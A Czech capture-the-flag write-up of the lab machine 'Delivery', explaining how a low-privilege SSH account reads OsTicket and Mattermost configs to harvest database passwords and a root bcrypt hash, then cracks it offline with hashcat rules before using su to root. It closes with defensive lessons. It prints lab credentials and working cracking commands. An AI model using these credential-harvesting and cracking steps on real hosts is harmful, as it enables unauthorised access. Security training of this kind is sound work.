Delivery
Úvod a kontext
Delivery je v téhle podobě nejzajímavější hlavně druhou půlkou řetězce. Jakmile je k dispozici nízko privilegovaný přístup maildeliverer:Youve_G0t_Mail!, systém začne dávat smysl teprve při čtení lokálních konfigurací OsTicketu a Mattermostu.
Root tady nevzniká přes kernelový exploit ani sudo misconfiguraci. Rozhodující je, že z konfigurace Mattermostu vypadne silná nápověda Crack_The_MM_Admin_PW, vedle ní leží bcrypt hash Mattermost admin účtu root a v prostředí už je známý seed PleaseSubscribe!. Z toho se stane čistě offline útok na heslo a následné su root.
Počáteční průzkum
První užitečné stopy
V dalším popisu už vycházím z toho, že jsou k dispozici dva konkrétní artefakty: SSH přístup maildeliverer:Youve_G0t_Mail! a řetězec PleaseSubscribe!, který se později ukáže jako důležitý seed pro cracking.
maildeliverer:Youve_G0t_Mail!
PleaseSubscribe!
Analýza zjištění
Lokální konfigurace OsTicketu a Mattermostu
Po přihlášení pod maildeliverer dává smysl číst hlavně lokální konfigurace. /etc/passwd potvrdí, že vedle maildeliverer běží i uživatel mattermost, OsTicket konfigurace vydá heslo ost_user a Mattermost config rovnou prozradí MySQL připojení i text Crack_The_MM_Admin_PW. Současně se objeví bcrypt hash Mattermost admin účtu root.
maildeliverer:x:1000:1000:MailDeliverer,,,:/home/maildeliverer:/bin/bash
mattermost:x:998:998::/home/mattermost:/bin/sh
root:x:0:0:root:/root:/bin/bash
define('DBTYPE','mysql');
define('DBHOST','localhost');
define('DBNAME','osticket');
define('DBUSER','ost_user');
define('DBPASS','!H3lpD3sk123!');
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
"AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
=> | root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
Pravidlový cracking hashe root
Tady má offline cracking jasný smysl. Útočník už neháda náhodné heslo, ale kombinuje konkrétní seed PleaseSubscribe! s nápovědou Crack_The_MM_Admin_PW. Z best64.rule tak vznikne malý, ale velmi relevantní slovník a hash padne na PleaseSubscribe!21.
cat rule
cat hash
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout rule > wordlist.txt
hashcat -m 3200 -a 0 hash wordlist.txt --force
hashcat -m 3200 -a 0 hash wordlist.txt --show
PleaseSubscribe!
=> PleaseSubscribe!21
Získání přístupu
SSH jako maildeliverer
V téhle části článku už je prvním stabilním footholdem SSH účet maildeliverer. Hodnota SSH tu nespočívá v samotném loginu, ale v tom, že dovolí pohodlně číst lokální konfigurace a pracovat s hashem offline mimo cílový host.
ssh maildeliverer@$IP
Získání user flagu
user.txt potvrzuje, že nižší účet už dovoluje plnohodnotný lokální průzkum hostu a přístup ke konfiguračním souborům, které rozhodnou o další části útoku.
cat user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Jakmile je hash cracknutý, nejde už o další exploitační techniku, ale o prosté ověření reuse hesla na lokální root účet. To je důležitý rozdíl: slabinou zde není su, ale kvalita a předvídatelnost hesla v prostředí, kde už útočník zná tematický seed.
su root
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Nejcennější část Delivery v téhle verzi neleží v prvním footholdu, ale v lokálních konfiguracích po SSH přístupu pod
maildeliverer. - OsTicket a Mattermost dohromady vydaly jak technická tajemství, tak i velmi silnou nápovědu
Crack_The_MM_Admin_PW, která zúžila prostor pro cracking. - Root vznikl čistě z offline prolomení hashe a reuse hesla
PleaseSubscribe!21na lokálním účturoot.
Co si odnést do praxe
- Konfigurační soubory helpdesku, chatu a dalších interních služeb nesmějí obsahovat nápovědy typu
Crack_The_MM_Admin_PW. Takový text dramaticky snižuje obtížnost offline cracking útoku. - Tematická hesla a jejich drobné variace jsou nebezpečné i tehdy, když jsou uložené jako bcrypt hash. Jakmile útočník získá relevantní seed, stačí malý pravidlový slovník místo rozsáhlého brute force.
- Nízkoprivilegovaný SSH účet je potřeba brát jako plný lokální compromise. Jakmile má útočník shell a přístup ke konfiguračním souborům, oddělené služby se rychle promění v jediný souvislý zdroj tajemství.